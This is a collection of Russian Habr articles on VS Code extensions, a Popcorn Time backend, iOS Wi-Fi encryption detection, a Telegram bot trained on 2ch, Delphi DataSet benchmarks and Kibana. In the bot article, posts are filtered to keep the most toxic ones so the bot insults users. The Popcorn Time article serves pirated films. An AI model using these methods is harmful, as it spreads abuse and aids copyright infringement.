Одно из важнейших условий для продуктивной работы веб-программиста — хорошо настроенный редактор кода. Один из них — [опенсорсный](https://github.com/Microsoft/vscode) универсальный редактор [Visual Studio Code](https://code.visualstudio.com/), который замечателен не только тем, что он бесплатен, но и тем, как много полезного он умеет сразу после установки и минимальной настройки. Если речь идёт о том, чтобы использовать VS Code в какой-то конкретной сфере, вроде разработки на JavaScript, обычно стоит дополнить его несколькими расширениями, которые повышают производительность труда и упрощают жизнь программиста. Вокруг VS Code сложилось активное сообщество разработчиков [расширений](https://marketplace.visualstudio.com/VSCode). Эти расширения легко искать и ещё легче устанавливать.
[](https://habr.com/company/ruvds/blog/354960/)
В материале, перевод которого мы сегодня публикуем, речь пойдёт о расширениях для VS Code, которые пригодятся тем, кто пишет на JS. Тут стоит отметить, что в деле выбора расширений для VS Code немалую роль играют личные предпочтения программиста. В результате можно сказать, что расширения, о которых пойдёт здесь речь, не являются абсолютно необходимыми. Не стоит рассматривать их как нечто, что обязательно нужно устанавливать и использовать. Обзавестись тем или иным расширением стоит лишь в том случае, если вам оно понравилось, и вы полагаете, что вам оно точно пригодится.
Расширения, которые обязательно стоит попробовать
-------------------------------------------------
В этом разделе мы поговорим о расширениях для VS Code, которые настолько хороши, что разработчикам редактора стоило бы встроить их в него.
### ▍ESLint — линтер
[ESLint](https://eslint.org/) — это JavaScript-линтер, который чрезвычайно широко используется и поддаётся тонкой настройке. В частности, его можно [сконфигурировать](https://eslint.org/docs/user-guide/configuring) для поддержки большинства широко используемых фреймворков и стилей программирования. Реализация ESLint для VS Code не требует ручного запуска проверок. Вместо этого сообщения об ошибках выводятся прямо в редакторе, там же предлагаются и средства, которые позволяют быстро исправлять ошибки.
*Применение ESLint в VS Code*
Возможно, сейчас вы подумаете о том, что ESLint в VS Code — это, возможно, излишество, так как там уже имеется встроенная система [IntelliSense](https://code.visualstudio.com/docs/editor/intellisense), которая выдаёт отличные подсказки в ходе работы. IntelliSense, и правда, замечательно делает своё дело, но как быть, если не все в вашем проекте используют VS Code? А что делать, если вам нужны разные настройки, скажем — для JSX, для некоей конкретной версии чистого JS, который планируется выполнять в браузере, для среды Node.js, которая используется на сервере? Во всех этих случаях можно воспользоваться ESLint. Кроме того, ESLint можно встроить в систему проверки кода для запуска его перед [отправкой материалов в репозиторий](https://github.com/okonet/lint-staged), для того, чтобы лишний раз убедиться в том, что все, кто коммитят в репозиторий, придерживаются единого стиля кодирования.
### ▍GitLens — работа с Git
VS Code, сразу после установки, содержит средства для работы с Git, поэтому расширение GitLens, о котором мы сейчас поговорим, относится больше к улучшению имеющихся возможностей редактора, чем к добавлению в него чего-то принципиально нового. На самом деле, существует множество подобных расширений, предназначенных для работы с Git.
*Использование GitLens в VS Code*
Однако, GitLens выгодно отличается от других похожих инструментов большим и активным сообществом, а также широчайшими возможностями [настройки](https://github.com/eamodio/vscode-gitlens/#gitlens-settings). Это, в частности, позволяет влиять на объём справочных данных, присутствующих редакторе. Скажем, фрагменты кода можно сравнивать, развернув пару панелей так, что они займут всё пространство окна, а, при необходимости, можно ограничиться небольшой подсказкой, выводимой в строке состояния.
*Краткие сведения о коде, выводимые GitLens*
Расширение GitLens особенно полезно при работе над большими проектами, когда разработчик не может точно знать о том, кто именно написал тот или иной фрагмент кода. Благодаря GitLens сведения об авторе конкретной строки выводятся в строке состояния VS Code. В результате, если у программиста возникает вопрос о том, почему или как что-то сделано, он может обратиться непосредственно к тому, кто написал интересующий его код, что упрощает общение в команде.
Тут я хочу дать одну рекомендацию, которая заключается в добавлении следующей строки в настройки VS Code.
```
"gitlens.currentLine.enabled": false
```
Она позволяет убрать построчное аннотирование кода, которое может мешать работе, рассеивая внимание на излишние подробности.
### ▍TODO Highlight — подсветка важных комментариев
Комментарии к коду обычно не особенно бросаются в глаза, поэтому мы нередко не обращаем на них особого внимания. В целом — это хорошо, так как они не отвлекают от работы, однако, иногда комментарии весьма важны, поэтому их хорошо было бы сделать более заметными, чтобы гарантировать их прочтение, и то, что тот, для кого они предназначены, отреагирует на них. Такие комментарии, например, программист может писать сам для себя — чтобы напомнить себе, где он остановился. Пишут их и для других разработчиков.
*Расширение TODO Highlight в VS Code*
Благодаря расширению [TODO Highlight](https://marketplace.visualstudio.com/items?itemName=wayou.vscode-todo-highlight), если в комментарии содержится слово `TODO` или `FIXME`, оно будет автоматически выделено, что точно не даст такой комментарий пропустить. Это очень удобно.
### ▍Import Cost — сведения о размере импортируемых модулей
[Import Cost](https://marketplace.visualstudio.com/items?itemName=wix.vscode-import-cost) — отличный плагин, который подойдёт тем программистам, которые склонны к самоистязанию. Всякий раз, когда вы импортируете в свой проект очередной модуль, Import Cost сообщает вам о его размере.
*Использование расширения Import Cost в VS Code*
В результате вам постоянно приходится спрашивать себя о том, стоит ли та польза, которую вы собираетесь извлечь из модуля, увеличения размера проекта. В общем-то, такие вопросы, хотя и заставляют иногда помучиться, благотворно сказываются на результатах работы.
Полезные расширения, которые могут пригодиться
----------------------------------------------
В этом разделе мы поговорим о полезных расширениях, без которых вполне можно обойтись. Однако они облегчают жизнь программиста, поэтому, вполне возможно, что вам они пригодятся.
### ▍Prettier — средство для форматирования кода
Расширение Prettier родственно вышерассмотренному ESLint в том плане, что его целью является обеспечение применения стандартизированного стиля кодирования. Благодаря Prettier код можно форматировать прямо в редакторе. Фундаментальная разница между Prettier и ESLint заключается в том, что вместо того, чтобы выводить сведения об ошибках, как это делает ESLint (хотя в ESLint есть и [параметр](https://eslint.org/docs/user-guide/command-line-interface#options) `--fix`), Prettier даёт программисту переформатированный вариант кода, выглядящего так, как он должен выглядеть в соответствии с заданными правилами. Он отлично показывает себя и при подготовке кода к [отправке в репозиторий](https://github.com/okonet/lint-staged), так как способен автоматически переформатировать код и привести его к требуемому стилю перед каждым выполнением команды `git commit`.
Стоит отметить, что Prettier, в основном, нацелен на форматирование кода, поэтому его использование не делает ненужным применение [линтера](https://prettier.io/docs/en/comparison.html), ответственного за качество программы. В дополнение к этому, Prettier можно [интегрировать](https://prettier.io/docs/en/eslint.html) в ESLint, что позволяет, например, автоматически запускать Prettier средствами ESLint. Prettier поставляется со встроенным набором правил, однако, если ваше представление о стиле кода отличается от того, которое выражено в правилах Prettier, их вполне можно [настроить](https://prettier.io/docs/en/options.html).
### ▍Быстрое открытие страниц в браузере — расширение open in browser
Иногда, при работе над неким проектом, для просмотра страниц которого не требуется процесс сборки, может понадобиться открыть в браузере обычный HTML-файл. Раньше так делали постоянно, теперь всё иначе, но порой это может оказаться очень кстати.
*Работа с расширением open in browser в VS Code*
В подобных редких случаях вам пригодится расширение [open in browser](https://marketplace.visualstudio.com/items?itemName=techer.open-in-browser), благодаря которому, через контекстное меню, можно открыть страницу в браузере, заданном по умолчанию, или в каком-нибудь другом браузере, установленном в системе. В результате вам больше не придётся возиться с консолью для того, чтобы открыть единственный файл в браузере.
### ▍Расширение для React-разработчиков vscode-styled-components
Ранее мы рассматривали расширения, которые могут оказаться полезными для всех, кто пишет на JS. Теперь поговорим о [vscode-styled-components](https://marketplace.visualstudio.com/items?itemName=jpoissonnier.vscode-styled-components). Это расширение имеет достаточно узкую область применения, а именно, оно предназначено для тех, кто пользуется библиотекой [styled-components](https://www.styled-components.com/) в React.
*Работа с расширением vscode-styled-components в VS Code*
Так как при работе с библиотекой styled-components используются тегированные шаблонные строки, многие средства для подсветки синтаксиса будут воспринимать соответствующие блоки кода как единое целое. Благодаря рассматриваемому расширению код будет воспринят правильно, а внутри шаблона можно будет легко различать его составные части.
### ▍Расширение VSCode Great Icons — иконки для редактора
Пожалуй, говоря о расширении [VSCode Great Icons](https://marketplace.visualstudio.com/items?itemName=emmanuelbeziat.vscode-great-icons), достаточно сказать, что оно позволяет добавить в редактор более сотни отличных иконок для файлов.
*Расширение VSCode Great Icons*
### ▍Расширение Bookmarks — закладки
Код, в идеале, всегда является модульным, хорошо читаемым и достаточно кратким, что ведёт к тому, что проблем с просмотром файлов с текстами программ возникать не должно. Если же случится так, что некий файл окажется настолько большим, что в нём будет трудно ориентироваться, с помощью расширения [Bookmarks](https://marketplace.visualstudio.com/items?itemName=alefragnani.Bookmarks) его можно разбить на логические части, по которым удобно перемещаться.
*Работа с расширением Bookmarks*
### ▍Тема One Monokai
У меня есть рабочая теория, которая заключается в том, что непривлекательный внешний вид, скажем, окна редактора кода, ведёт к переутомлению глаз. Я дописываю научную работу, посвящённую этому вопросу.
*Тема One Monokai*
Стандартная тема оформления VS Code, на самом деле, не так уж и плоха. Однако, если код приложения, на который вы смотрите целый день, без особых трудностей можно сделать хотя бы немного симпатичнее, стоит этой возможностью воспользоваться. Конечно, существует огромное количество дополнительных тем для VS Code, но [One Monokai](https://marketplace.visualstudio.com/items?itemName=azemoh.one-monokai) — это как раз та, которая лично мне очень и очень понравилась. Безусловно, подобные вещи очень субъективны, нельзя говорить о том, что она понравится всем или хотя бы очень многим, но вы вполне можете поискать среди тем для VS Code ту, которая подойдёт именно вам.
Итоги
-----
В этом материале мы рассмотрели десять расширений для VS Code. Надеемся, вы найдёте среди них что-нибудь такое, что вам пригодится.
**Уважаемые читатели!** Пользуетесь ли вы VS Code? Если да — просим вас рассказать о том, какие расширения для этого редактора кажутся вам самыми полезными.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/354960/ | null | ru | null |
# Popcorn Time на русском
На Хабре не раз уже рассматривался Popcorn Time ([тут](http://habrahabr.ru/post/215429/), [тут](http://habrahabr.ru/post/220093/), [тут](http://habrahabr.ru/post/215927/) и [тут](http://habrahabr.ru/post/229677/)).
У этого проекта есть один небольшой недостаток. Фильмов в русской озвучке там нет. Я попробовал решить эту проблему.
На самом деле, всё это громко сказано, функционал реализован базово, прошу это воспринимать не более чем *proof of concept*. За пару вечеров накидал небольшой парсер одного достаточно популярного торрент трекера с выгрузкой данных в базу и далее выдачу в виде понятного для Popcorn Time [API](https://yts.re/api).
В техническом плане ничего интересного: nginx, Node.js, Express, MongoDB(Mongoose). Пожалуй, самое интересное, о чем можно рассказать, это преобразование торрент файла в [magnet ссылку](https://ru.wikipedia.org/wiki/Magnet-%D1%81%D1%81%D1%8B%D0%BB%D0%BA%D0%B0), но даже это при использовании пакета bencode становится очень простым:
```
var metadata = bencode.decode(body),
sha1 = crypto.createHash('sha1');
sha1.update(bencode.encode(metadata.info));
film['hash'] = sha1.digest('hex');
film['magnet'] = 'magnet:?xt=urn:btih:' + film['hash'] + '&dn=' + metadata.info.name;
```
Всё это запушено и работает. Опробовать можно 2-мя способами.
1. Скачать собранный мной Popcorn Time. К сожалению, только [Linux 64 bit](https://yadi.sk/d/9qpF0IezcRFyC), спасибо [koot](https://habrahabr.ru/users/koot/) [Mac](http://rghost.ru/58851139).
2. Скачать Popcorn Time с [git](https://git.popcorntime.io/stash/projects/PT/repos/popcorn-app/browse), в коде сделать изменения (под спойлером ниже) и собрать проект, как написано [тут](https://git.popcorntime.io/stash/projects/PT/repos/popcorn-app/browse).
**diff**
```
diff --git a/src/app/lib/models/movie_collection.js b/src/app/lib/models/movie_collection.js
index bb73eaa..58f40e1 100644
--- a/src/app/lib/models/movie_collection.js
+++ b/src/app/lib/models/movie_collection.js
@@ -11,7 +11,7 @@
return {
torrents: App.Config.getProvider('movie'),
subtitle: App.Config.getProvider('subtitle'),
- metadata: App.Trakt
+ metadata: null
};
}
});
diff --git a/src/app/settings.js b/src/app/settings.js
index 291c07c..06fd21e 100644
--- a/src/app/settings.js
+++ b/src/app/settings.js
@@ -66,8 +66,8 @@ Settings.deleteTmpOnClose = true;
Settings.updateApiEndpoint = 'http://popcorntime.io/';
/* TODO: Buy SSL for main domain + buy domain get-popcorn.re for fallback
Settings.updateApiEndpointMirror = 'https://popcorntime.cc/'; */
-Settings.yifyApiEndpoint = 'http://yts.re/api/';
-Settings.yifyApiEndpointMirror = 'http://yts.im/api/';
+Settings.yifyApiEndpoint = 'http://yts.lafin.me/api/';
+Settings.yifyApiEndpointMirror = 'http://yts.lafin.me/api/';
Settings.connectionCheckUrl = 'http://google.com/';
// App Settings
```
Исходники backend части <http://github.com/lafin/ru-yts>
На этом, пожалуй, всё. Хорошего просмотра.
P.S. Надеюсь, кто-нибудь продолжит идею.
Up. Добавил фильтр по жанрам и сортировку по году и алфавиту. | https://habr.com/ru/post/241551/ | null | ru | null |
# Методика определения режима шифрования Wi-Fi на iOS 5.*
Приветствую, коллеги!
Многие из Вас, кто разрабатывает приложения под мобильные платформы на iOS, сталкивались с проблемой недоступности многих ключевых данных.
Одним из таких параметров является текущий режим шифрования в Wi-Fi сети.
Так как этот параметр явно можно получить только «нелегальным» способом через Private Framework, считается что узнать его стандартными методами невозможно.
Это не так. Я хочу продемонстрировать вам workaround, работающий на **iOS 5** (*но закрытый, увы, на iOS6*).
Реальностью является то, что программно этот параметр действительно получить нельзя. Но он довольно просто получается по «вторичным половым признакам».
Конечно же, вы обращали внимание на то, что в логах вашего устройства протоколируется момент подключения к сети сообщениями подобного вида:
```
Oct 5 11:37:58 ISOX-iPhone kernel[0] : 023881.292007 wlan.N[2599] AppleBCMWLAN Joined BSS: @ 0x80eb1400, BSSID = some\_mac\_address, rssi = -30, rate = 54 (100%), channel = 3, encryption = 0x8, ap = 1, failures = 0, age = 0, ssid[ 6] = "pretty\_ssid"
```
Как вы можете видеть, это сообщение [ASL](https://developer.apple.com/library/mac/#documentation/Darwin/Reference/Manpages/man3/asl.3.html), отправленное «kernel» с уровнем «debug». В нем присутствует необходимый параметр «encryption», который определяет текущий режим шифрования.
Соответственно, нашей задачей является получение этого сообщения и обработка внутри программы легальными методами.
Для этого нам потребуется поработать с ASL системой iOS (не забудьте про **#import** ).
```
aslmsg asl, message;
aslresponse searchResult;
int i;
const char *key, *val;
NSMutableArray *result_dicts = [NSMutableArray array];
// Создаем подключение к ASL
asl = asl_new(ASL_TYPE_QUERY);
if (!asl)
{
NSLog(@"Failed creating ASL query");
}
// Задаем фильтр поиска по отправителю
asl_set_query(asl, "Sender", "kernel", ASL_QUERY_OP_EQUAL);
// Задаем фильтр поиска по подстроке
asl_set_query(asl, "Message", "AppleBCMWLAN Joined BSS:", ASL_QUERY_OP_PREFIX|ASL_QUERY_OP_EQUAL);
searchResult = asl_search(NULL, asl);
while (NULL != (message = aslresponse_next(searchResult)))
{
NSMutableDictionary *tmpDict = [NSMutableDictionary dictionary];
for (i = 0; (NULL != (key = asl_key(message, i))); i++)
{
NSString *keyString = [NSString stringWithUTF8String:(char *)key];
val = asl_get(message, key);
NSString *string = [NSString stringWithUTF8String:val];
[tmpDict setObject:string forKey:keyString];
}
// Собираем все результаты
[result_dicts addObject:tmpDict];
}
aslresponse_free(searchResult);
asl_free(asl);
```
В результаты вы получите массив словарей вида:
```
{
ASLMessageID = 723;
Facility = kern;
Level = 7;
Message = "AppleBCMWLAN Joined BSS: @ 0xc1985200, BSSID = some_mac_address, rssi = -42, rate = 54 (100%), channel = 3, encryption = 0x8, ap = 1, failures = 0, age = 1, ssid[ 6] = \"pretty_ssid\"";
PID = 0;
Sender = kernel;
Time = 1349423438;
}
```
Последнее сообщение, отсортированное по параметру «Time», будет являться верным.
Проблема решена: у вас есть значение текущего режима шифрования. Получить ее из строки Message не составит труда.
Следующий закономерный вопрос, — что оно означает?
Для этого потребовалось произвести небольшой поиск по исходным кодам драйверов Wi-Fi устройств.
Расшифровка значений следующая (при переводе значения в десятичную систему исчисления):
```
case 0: "None"
case 1: "WEP"
case 2: "WPA"
case 4: "WPA PSK"
case 6: "WPA2"
case 8: "WPA2 PSK"
case 10: "LEAP"
case 12: "80211X"
case 14: "WPS"
```
Задача решена, — получено значение шифования сети без использования Private Framework.
Конечно же, не обходится без минусов: время жизни сообщений довольно мало и требуется постоянное наблюдение над ASL.
К сожалению, Apple закрыла доступ к лог-сообщениям ядра на 6-й прошивке. Что же, — придется искать новый способ.
Спасибо за внимание. Надеюсь, я рассказал Вам что-то интересное. | https://habr.com/ru/post/153699/ | null | ru | null |
# Telegram бот с языковой моделью, обученной на 2ch
Если вам хочется разбавить общение в *telegram* чате нелепыми, но зачастую меткими и смешными комментариями, или вы ищете информацию по интеграции языковой модели в бота, или хотите сами обучить языковые модели на данных с *2ch*, то в этой статье описаны шаги, как это сделать.
Бот
---
Запустил [бота](https://t.me/toxic_ebanko_bot), которого можно добавлять в чаты, и он будет отвечать на сообщения, как на посты на ***2ch.hk/b/***.
Для этого:
* Был собран [датасет](https://huggingface.co/datasets/BlackSamorez/2ch_b_dialogues) постов с ***2ch***
* Была обучена [диалоговая модель](https://huggingface.co/BlackSamorez/rudialogpt3_medium_based_on_gpt2_2ch) на базе ***GPT-2***
* Был поднят [простой сервер](https://github.com/BlackSamorez/ebanko/tree/main/app) с **Python Telegram API**
Подробнее по порядку:
Обучение
--------
#### Hugging Face
Самый простой способ обучить языковую модель - воспользоваться библиотекой [transformers](https://huggingface.co). Она предоставляет инструменты для автоматизированного обучения и применения нейронных сетей (в том числе языковых моделей).
Также в их архивах можно найти множество предобученных моделей и датасетов, что заметно упрощает обучение, потому что обучать модель с нуля - затратно, а дообучать - намного проще.
#### Базовая модель
Возьмем диалоговую модель из [списка готовых моделей](https://huggingface.co/models). Модели делятся по языкам и задачам, и так уж вышло, что русскоязычных моделей есть ровно одна. Языковые модели, конечно, универсальные штуки, и сделать диалоговую модель можно и не из диалоговой, но чем ближе область предобученной модели к целевой, тем лучше.
Выбрана была модель [Grossmend/rudialogpt3\_medium\_based\_on\_gpt2](https://huggingface.co/Grossmend/rudialogpt3_medium_based_on_gpt2) из-за ее размера. **1.3B параметров** - размер, при котором модель может генерировать осмысленные тексты, но не слишком большая.
#### Данные
Для обучения модели были собраны данные с 2ch.hk/b/. Я долго искал готовый датасет, но не нашел ничего подходящего, и решил собрать данные сам. Для сбора данных использовалось [api2ch](https://pypi.org/project/api2ch/). Треды загружались, парсились, чистились и преобразовались к формату диалога.
Итоговый датасет насчитывал порядка **60к** **диалогов средней длины 3** - достаточно для дообучения модели среднего размера.
Пример диалога (сообщения от последнего к первому):
```
{
"dialogue": ["Рад слышать!", "Хорошо!", "Как дела?"]
}
```
Код для сбора и чистки данных можно найти на [GitHub](https://github.com/BlackSamorez/ebanko/blob/main/datamine/collect.py). Датасет можно найти на [HuggingFace](https://huggingface.co/datasets/BlackSamorez/2ch_b_dialogues).
#### Фильтрация данных
Для повышения токсичности данных данные были отфильтрованы с помощью модели классификатора [sismetanin/rubert-toxic-pikabu-2ch](https://huggingface.co/sismetanin/rubert-toxic-pikabu-2ch). Модель была создана для модерации токсичного контента, но никто не мешает использовать ее во зло.
Токсичность данных:
| | |
| --- | --- |
| count | 63187.000000 |
| mean | 0.675554 |
| 25% | 0.487243 |
| 50% | 0.721271 |
| 75% | 0.928254 |
Был взят 75% percentile токсичности, что соответствует **0.93/1.00** по шкале токсичности.
#### Процесс обучения и результат
***Jupiter Notebook***скодом обучения можно найти на [GitHub](https://github.com/BlackSamorez/ebanko/blob/main/experiments/2ch_training.ipynb).
**Готовую модель** можно найти на [HuggingFace](https://huggingface.co/BlackSamorez/rudialogpt3_medium_based_on_gpt2_2ch)
Пример ответа модели ***до дообучения***:
> Привет!
>
> Привет!
>
>
И **после**:
> Привет!
>
> >всё что ты можешь сделать - это не быть долбо...
>
>
Обучение прошло успешно.
### Поднятие модели и подключение к боту
#### API
[Был написан](https://github.com/BlackSamorez/ebanko/blob/main/app/app/server.py) простейший сервер на ***Flask*** для работы с моделью.
```
POST request: {"text": "Привет!"}
Response: {"toxified": "Пока!"}
```
У *HuggingFace* отличная [документация](https://huggingface.co/docs), и подробности про запуск моделей стоит искать там.
Сама модель запускается на **CPU** с многопоточностью *PyTorch*. Так что я посчитал, что не будет целесообразным строить *API* с очередями и исполнителями. Модель запускается на **CPU** и можно было бы получить серьезное ускорение за счет [*скриптинга*](https://pytorch.org/docs/stable/jit.html) модели, но я не смог совместить *скриптинг* с [инструментами генерации](https://huggingface.co/docs/transformers/main/en/internal/generation_utils#generate-outputs) *HuggingFace*, так что от *скриптинга* пришлось отказаться.
#### Метрики
Для красоты настроен сбор метрик и [**grafana**](https://grafana.com)**.**
#### Python Telegram API
Про него уже написаны хорошие подробные посты ([например](https://habr.com/ru/post/543676/)).
Скажу лишь, что оно может работать [асинхронно](https://habr.com/ru/company/kts/blog/598575/), и во время ожидания ответа от модели программа может обрабатывать другие запросы.
### Код
Весь код сбора данных, обучения модели и бота выложен в открытый доступ на [GitHub](https://github.com/BlackSamorez/ebanko). Для простоты использования настроено поднятие бота с помощью **docker-compose**. | https://habr.com/ru/post/670970/ | null | ru | null |
# Delphi: самый быстрый DataSet (TJvMemoryData, TMemTableEh, TdxMemData, TkbmMemTable)
В этой статье я проведу сравнительный анализ DataSet'ов, которые держат данные в оперативной памяти.
Список DataSet'ов
-----------------
1. **TJvMemoryData**
Разработчик: сообщество JEDI Visual Component Library (JCL + JVCL)
JCL (версия 2.8)
JVCL (версия 3.50)
→ [Официальный сайт](http://jvcl.delphi-jedi.org)
2. **TMemTableEh**
Разработчик: EhLib
Версия: 9.0.040
→ [Официальный сайт](http://www.ehlib.com)
3. **TdxMemData**
Разработчик: DevExpress
Версия: 15.2.2
→ [Официальный сайт](https://www.devexpress.com)
4. **TkbmMemTable**
Разработчки: Components4Developers
Версия: 7.74.00 Professional Edition
→ [Официальный сайт](http://www.components4developers.com)
Параметры сравнения DataSet'ов
------------------------------
1. Вставка записей
2. Сортировка записей
Окружение
---------
| | |
| --- | --- |
| Delphi | 10.2 Tokyo Starter |
| Операционная система | Windows 7 SP1 Ultimate x64 |
| Процессор | Intel Core i5 |
| ОЗУ | 8 Гб |
Тестовые данные
---------------
DataSet'ы будут тестироваться на данных, полученных из базы данных Firebird. Для сравнительного анализа я создал в базе данных 100000 записей с различными типами данных:
• целые числа;
• вещественные числа;
• даты;
• строки;
• изображения.
Сравнение
---------
1. Загрузка данных
| DataSet | LoadFromDataSet | Ручная | Среднее |
| --- | --- | --- | --- |
| TJvMemoryData | 7,7846 сек | ***5,7500 сек*** | 6,7673 сек |
| TMemTableEh | ***4,5114 сек*** | 7,2978 сек | 5,9046 сек |
| TdxMemData | 6,3804 сек | 6,5082 сек | 6,4443 сек |
| TkbmMemTable | 5,4474 сек | 6,0562 сек | ***5,7518 сек*** |
Загрузки для каждого DataSet'a производились по 5 раз, из полученных значений подсчитвывалось среднее арифметическое. Среднее значение — это среднее арифметическое значения загрузки при помощи метода LoadFromDataSet и значения ручной загрузки.
Результаты:
**TMemTableEh** — самая быстрая загрузка данных при помощи метода LoadFromDataSet
**TJvMemoryData** — самая быстрая ручная загрузка данных
**TkbmMemTable** — самая быстрая средняя загрузка данных
**Исходный код замера времени**
```
var
start_time, end_time, total_time: double;
start_time := GetTickCount;
...
end_time := GetTickCount;
total_time := (end_time - start_time) / 1000;
```
**Исходный код загрузки данных LoadFromDataSet**
```
//TJvMemoryData
//function LoadFromDataSet(Source: TDataSet; RecordCount: Integer; Mode: TLoadMode; DisableAllControls: Boolean = True): Integer;
JvMemoryData.LoadFromDataSet(FIBDataSet, -1, lmCopy);
//TMemTableEh
//function LoadFromDataSet(Source: TDataSet; RecordCount: Integer; Mode: TLoadMode; UseCachedUpdates: Boolean): Integer;
MemTableEh.LoadFromDataSet(FIBDataSet, -1, lmCopy, true);
//TdxMemData
//procedure LoadFromDataSet(DataSet : TDataSet);
dxMemData.LoadFromDataSet(FIBDataSet);
//TkbmMemTable
//procedure TkbmCustomMemTable.LoadFromDataSet(Source:TDataSet; CopyOptions:TkbmMemTableCopyTableOptions; Mapping:string='');
kbmMemTable.LoadFromDataSet(FIBDataSet, [mtcpoAppend]);
```
**Исходный код ручной загрузки**
```
while not FIBDataSet.Eof do
begin
table.Append;
table.FieldByName('ID').AsInteger := FIBDataSet.FieldByName('ID').AsInteger;
table.FieldByName('SUMM').AsFloat := FIBDataSet.FieldByName('SUMM').AsFloat;
table.FieldByName('COMMENT').AsString := FIBDataSet.FieldByName('COMMENT').AsString;
...
table.Post;
FIBDataSet.Next;
end;
table.First;
```
TJvMemoryData — единственный DataSet, у которого ручная загрузка данных оказалось быстрее, чем загрузка при помощи метода LoadFromDataSet.
TdxMemData — единственный DataSet, который после загрузки данных при помощи метода LoadFromDataSet не возвращает позицию в DataSet на первую запись.
2. Сортировка
| DataSet | Целое число | Вещественное число | Строка | Среднее |
| --- | --- | --- | --- | --- |
| TJvMemoryData | 0,3492 сек | 0,8330 сек | 1,9938 сек | 1,0587 сек |
| TMemTableEh | 0,9014 сек | 0,8642 сек | 3,6876 сек | 1,8177 сек |
| TdxMemData | 0,3616 сек | 0,3650 сек | 0,9134 сек | 0,5467 сек |
| TkbmMemTable | ***0,1996 сек*** | ***0,2186 сек*** | ***0,7550 сек*** | ***0,3897 сек*** |
Сортировка для каждого DataSet'a производились по 5 раз, из полученных значений подсчитвывалось среднее арифметическое. Среднее значение — это среднее арифметическое значений сортировок.
Результаты:
**TkbmMemTable** — самая быстрая сортировка целых чисел
**TkbmMemTable** — самая быстрая сортировка вещественных чисел
**TkbmMemTable** — самая быстрая сортировка строк
**TkbmMemTable** — самая быстрая средняя сортировка
**Исходный код замера времени**
```
var
start_time, end_time, total_time: double;
start_time := GetTickCount;
...
end_time := GetTickCount;
total_time := (end_time - start_time) / 1000;
```
**Исходный код сортировки данных**
```
//TJvMemoryData
//procedure SortOnFields(const FieldNames: string = ''; CaseInsensitive: Boolean = True; Descending: Boolean = False);
JvMemoryData.SortOnFields(fields, false, false);
//TMemTableEh
//procedure SortByFields(const SortByStr: string);
MemTableEh.SortByFields(fields);
//TdxMemData
dxMemData.SortedField := fields;
//TkbmMemTable
//procedure SortOn(const FieldNames:string; Options:TkbmMemTableCompareOptions);
kbmMemTable.SortOn(fields, []);
```
Отмечу, что только для DataSet'а TMemTableEh при сортировке по нескольким полям можно задавать различное направление сортировки для каждого поля (по возрастанию/по убыванию).
Заключение
----------
Безоговорочным лидером оказался DataSet ***TkbmMemTable***, но и все другие DataSet'ы показали хорошие результаты. Но воспользоваться TkbmMemTable можно только с Delphi XE2.
Конечно, на реальных данных вряд ли понадобиться загружать 100000 записей для отображения пользователю. Так же при выборе DataSet'а нужно учитывать, что на другом наборе данных (например, при отсутствии загрузки изображений или для x64-приложения) результаты скорости работы могут оказаться другими. К тому же многие DataSet'ы имеют дополнительный функционал для работы с гридом из своей библиотеки.
Дополнительно о TMemTableEh
---------------------------
Компонент TMemTableEh появился в версии EhLib 4.0. Все компоненты библиотеки, включая TMemTableEh, работают начиная с Delphi 7.
Преимущества использования MemTableEh по сравнению с другими DataSet'ми следующие:
1. Поддерживает специальный интерфейс, позволяющий компоненту DBGridEh просматривать все данные, не перемещая активную запись.
2. Позволяет закачивать в себя данные из объекта TDataDriverEh (свойство DataDriver).
3. Позволяет выгружать изменения обратно в DataDriver, оперативно или отложено (в зависимости то свойства CachedUpdates).
4. Позволяет создавать мастер/дитэил отношения на клиенте (фильтруя записи) или на внешнем источнике (обновляя параметры [Params] и перезапрашивая данные c DetailDataDriver'а).
5. Позволяет сортировать данные, включая Calculated и Lookup поля.
6. Позволяет создавать и заполнять данные в design-time и сохранять данные в dfm-файле формы.
7. Позволяет хранить записи в виде дерева. Каждая запись может иметь записи узлы/ветви и сама являться узлом другой родительской записи. Компонент TDBGridEh поддерживает функциональность отображения древовидной структуры этих записей.
8. Позволяет подключиться к внутреннему массиву другого компонента TMemTableEh (свойство ExternalMemData) и работать с его данными: сортировать, фильтровать, редактировать.
9. Имеет интерфейс для получения списка всех значений столбца, игнорируя локальный фильтр DataSet'а. TDBGridEh использует это свойство для автоматического формирования списка в выпадающем DropDownBox'е фильтра.
О TRxMemoryData
---------------
Разработчки: RxLib
Компонент TRxMemoryData появился в версии RxLib 2.60.
DataSet TRxMemoryData не участвует в сравнении, потому что в 2002 году библиотека RxLib была официально включена в состав JVCL. В JVCL есть утилита для быстрой замены всех Rx компонентов, функций и юнитов на JVCL-версии.
Почему стоит перейти на JVCL:
В отличие от RxLib, JVCL развивается. Ошибки исправляются. Регулярно выходят версии с поддержкой новых версий Delphi. JVCL компоненты поддерживают новые версии Windows и Windows-стили.
Порядок использования DataSet'ов в моей практике
------------------------------------------------
1. TRxMemoryData
2. TMemTableEh
3. TRxMemoryData
4. TJvMemoryData
5. TkbmMemTable | https://habr.com/ru/post/357716/ | null | ru | null |
# Руководство пользователя Kibana. Визуализация. Часть 1
Доброго времени суток. Всем пользователям ElasticStack рано или поздно нужно визуализировать данные. Большинство использует Kibana. Под катом перевод официальной документации для версии 6.6.
Ссылка на оригинальный материал: [Kibana User Guide [6.6] » Visualize](https://www.elastic.co/guide/en/kibana/6.6/visualize.html)
Содержание:
1. Creating a Visualization
2. Line, Area, and Bar charts
Вкладка Visualize позволяет вам создавать визуализацию данных в ваших индексах Elasticsearch. Вы можете потом построить информационные панели (dashboards), что выводят связанные визуализации.
Визуализации Kibana базируются на запросах Elasticsearch. Используя серию агрегаций (выборок, прим. пер.) для извлечения и обработки ваших данных, вы можете создавать схемы, на которых отображаются тенденции, всплески и падения, нужные вам.
Вы можете создавать визуализации поиска, сохраненного во вкладке Discover или стартовать с новым поисковым запросом.
### Creating a Visualization
Чтобы создать визуализацию:
1. Кликните на вкладке **Visualize** на боковой панели навигации.
2. Кликните кнопку **Create new visualization** или кнопку **+**.
3. Выберите тип визуализации:
* **Базовые схемы**
**Line, Area and Bar charts**. (Графики, площади и гистограммы, прим. пер.) Сравнивайте разные комплекты данных в схемах X/Y.
**Heat maps**. (Карты температур, прим. пер.) Затемнение элементов в матрице.
**Pie chart**. (Диаграммы, прим. пер.) Показывает долю каждого источника от общей суммы.
* **Данные**
**Data table**. (Таблица данных, прим. пер.) Выводит необработанные данные составленной агрегации.
